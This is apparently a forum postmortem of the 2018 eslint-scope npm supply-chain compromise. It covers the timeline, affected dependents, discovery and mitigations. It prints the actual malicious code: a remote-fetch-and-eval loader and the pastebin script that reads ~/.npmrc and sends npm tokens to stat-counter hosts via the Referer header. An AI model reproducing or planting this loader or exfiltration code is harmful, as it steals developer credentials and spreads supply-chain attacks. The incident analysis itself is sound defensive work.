Postmortem for Malicious Packages Published on July 12th, 2018
# Tech summary:<p>- Since 2018-07-12 9:49 UTC eslint-scope has been infected and the script was trying to send your &quot;.npmrc&quot; file to two different stat counter websites (sstatic1.histats.com, c.statcounter.com), via the referrer header.Affected packages: eslint-scope@3.7.2 and eslint-config-eslint@5.0.2.<p>- The &quot;.npmrc&quot; (contains your npm tokens to publish a new npm package under your account) would allow the attacker to publish other npm package under your name (if you are a owner) and make a bigger mess.<p>- Looks like the attacker wanted to gain more npm packages and maybe has done so already. The attacker removed the infected package at 2018-07-12 12:37 UTC so he had at least a few hours to gather other npm auth tokens.<p>- Between 2018-07-12 12:37 UTC and 2018-07-12 17:41 UTC the package eslint-scope@3.7.2 has been removed, but some pc could get this old package because of some cache, increasing the attack vector. Only at 2018-07-12 17:41 UTC a new version has been deployed.<p>- Be careful if you cache npm packages on your server (nexus or similar).<p># All npm packages that directly depends on &quot;eslint-scope&quot;<p><pre><code>  - &quot;webpack&quot; (9k dependents)
  - &quot;eslint&quot; (6k dependents)
  - &quot;babel-eslint&quot; (5k dependents)
  - &quot;vue-eslint-parser&quot;
  - &quot;atom-eslint-parser&quot;
  - &quot;eslint-web&quot;
  - &quot;react-input-select&quot;
  - &quot;react-native-handcheque-engine&quot;
  - &quot;react-redux-demo1&quot;
  - &quot;a_react_reflux_demo&quot;
  - &quot;eslint-nullish-coalescing&quot;
  - &quot;@mattduffield&#x2F;eslint4b&quot;
  - &quot;miguelcostero-ng2-toasty&quot;
  - &quot;@sailshq&#x2F;eslint&quot;
  - &quot;eslint4b&quot;
  - &quot;@helpscout&#x2F;zero&quot;
 </code></pre>
Be careful there are more packages that depends on these as well.<p># What to do now?<p>Assume your &quot;.npmrc&quot; file has been stolen. If you have any packages published they might have been compromised, check them. NPM team revoked all auth tokens at 2018-07-12 12:30 UTC.<p># How it happened:<p>&quot;The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account.&quot;<p># How has been discovered<p>At 12:17 UK time on 12 July 2018 <a href="https:&#x2F;&#x2F;github.com&#x2F;pronebird" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;pronebird</a> opened an issue <a href="https:&#x2F;&#x2F;github.com&#x2F;eslint&#x2F;eslint-scope&#x2F;issues&#x2F;39" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;eslint&#x2F;eslint-scope&#x2F;issues&#x2F;39</a> with this log error:<p><pre><code>  [2&#x2F;3] ⠠ eslint-scope
  error &#x2F;Users&#x2F;pronebird&#x2F;Desktop&#x2F;electron-react-redux-boilerplate&#x2F;node_modules&#x2F;eslint-scope: Command failed.
    Exit code: 1
  Command: node .&#x2F;lib&#x2F;build.js
  Arguments:
    Directory: &#x2F;Users&#x2F;pronebird&#x2F;Desktop&#x2F;electron-react-redux-boilerplate&#x2F;node_modules&#x2F;eslint-scope
  Output:
    undefined:30
  https1.get({hostname:&#x27;sstatic1.histats.com&#x27;,path:&#x27;&#x2F;0.gif?4103075&amp;101&#x27;,method:&#x27;GET&#x27;,headers:{Referer:&#x27;http:&#x2F;&#x2F;1.a&#x2F;&#x27;+conten
      ^^^^^^
  
      SyntaxError: Unexpected end of input
  at IncomingMessage.r.on (&#x2F;Users&#x2F;pronebird&#x2F;Desktop&#x2F;electron-react-redux-boilerplate&#x2F;node_modules&#x2F;eslint-scope&#x2F;lib&#x2F;build.js:6:10)
  at emitOne (events.js:116:13)
  at IncomingMessage.emit (events.js:211:7)
  at IncomingMessage.Readable.read (_stream_readable.js:475:10)
  at flow (_stream_readable.js:846:34)
  at resume_ (_stream_readable.js:828:3)
  at _combinedTickCallback (internal&#x2F;process&#x2F;next_tick.js:138:11)

</code></pre>
So looks like if there was no error we would not discover it so quickly. So we were lucky!<p>#Technical details:<p>node_module code for eslint-scope-3.7.2 <a href="https:&#x2F;&#x2F;registry.npmjs.org&#x2F;eslint-scope&#x2F;-&#x2F;eslint-scope-3.7.2.tgz" rel="nofollow">https:&#x2F;&#x2F;registry.npmjs.org&#x2F;eslint-scope&#x2F;-&#x2F;eslint-scope-3.7.2...</a> (still the original code):<p><pre><code>  try {
    var https = require(&#x27;https&#x27;);
    https.get({
      &#x27;hostname&#x27;: &#x27;pastebin.com&#x27;,
      path: &#x27;&#x2F;raw&#x2F;XLeVP82h&#x27;,
      headers: {
        &#x27;User-Agent&#x27;: &#x27;Mozilla&#x2F;5.0 (Windows NT 6.1; rv:52.0) Gecko&#x2F;20100101 Firefox&#x2F;52.0&#x27;,
        Accept: &#x27;text&#x2F;html,application&#x2F;xhtml+xml,application&#x2F;xml;q=0.9,*&#x2F;*;q=0.8&#x27;
      }
    }, (r) =&gt; {
      r.setEncoding(&#x27;utf8&#x27;);
      r.on(&#x27;data&#x27;, (c) =&gt; {
        eval(c);
      });
      r.on(&#x27;error&#x27;, () =&gt; {
      });
  
    }).on(&#x27;error&#x27;, () =&gt; {
    });
  } catch (e) {
  }
</code></pre>
Pastebin script <a href="http:&#x2F;&#x2F;pastebin.com&#x2F;raw&#x2F;XLeVP82h" rel="nofollow">http:&#x2F;&#x2F;pastebin.com&#x2F;raw&#x2F;XLeVP82h</a> (Now removed):<p><pre><code>  try {
    var path = require(&#x27;path&#x27;);
    var fs = require(&#x27;fs&#x27;);
    var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, &#x27;.npmrc&#x27;);
    var content = &quot;nofile&quot;;
  
    if (fs.existsSync(npmrc)) {
  
      content = fs.readFileSync(npmrc, {encoding: &#x27;utf8&#x27;});
      content = content.replace(&#x27;&#x2F;&#x2F;registry.npmjs.org&#x2F;:_authToken=&#x27;, &#x27;&#x27;).trim();
  
      var https1 = require(&#x27;https&#x27;);
      https1.get({
        hostname: &#x27;sstatic1.histats.com&#x27;,
        path: &#x27;&#x2F;0.gif?4103075&amp;101&#x27;,
        method: &#x27;GET&#x27;,
        headers: {Referer: &#x27;http:&#x2F;&#x2F;1.a&#x2F;&#x27; + content}
      }, () =&gt; {
      }).on(&quot;error&quot;, () =&gt; {
      });
      https1.get({
        hostname: &#x27;c.statcounter.com&#x27;,
        path: &#x27;&#x2F;11760461&#x2F;0&#x2F;7b5b9d71&#x2F;1&#x2F;&#x27;,
        method: &#x27;GET&#x27;,
        headers: {Referer: &#x27;http:&#x2F;&#x2F;2.b&#x2F;&#x27; + content}
      }, () =&gt; {
      }).on(&quot;error&quot;, () =&gt; {
      });
  
    }
  } catch (e) {
  }

</code></pre>
&quot;As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.&quot;<p>Source: <a href="https:&#x2F;&#x2F;github.com&#x2F;eslint&#x2F;eslint-scope&#x2F;issues&#x2F;39" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;eslint&#x2F;eslint-scope&#x2F;issues&#x2F;39</a><p># How to mitigate front-end code from malicious npm&#x2F;yarn packages<p>I actually discussed this with my colleagues at work. I think from now on I&#x27;ll assume that all code is compromised.<p>One big way to reduce this attack vector is to use content-security-privacy set to sandbox <a href="https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;CSP" rel="nofollow">https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;CSP</a> . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can&#x27;t send it to his server.<p>Of course he can mess up with your code, but reduces a bit the attack vector. Example: let&#x27;s say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.<p>Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm&#x2F;yarn): <a href="https:&#x2F;&#x2F;hackernoon.com&#x2F;im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5" rel="nofollow">https:&#x2F;&#x2F;hackernoon.com&#x2F;im-harvesting-credit-card-numbers-and...</a><p>Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.<p># What to do next<p>Think of more ways to mitigate malicious node_modules and how to handle it.<p>Even if npm will improve the security, we still can&#x27;t rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.<p># More implications that I can think about (add more please)<p>Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).<p>If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That&#x27;s not enough, the attacker could generate a new route on your website &quot;&#x2F;your-passwords&quot; and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.<p>Any other important&#x2F;private files you have on your pc could have been stolen.<p>Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I&#x27;m not sure if you can update the pastebin contents) and propagate to other servers.<p>This is just a package we happened to notice, maybe there are more infected packages we don&#x27;t know about.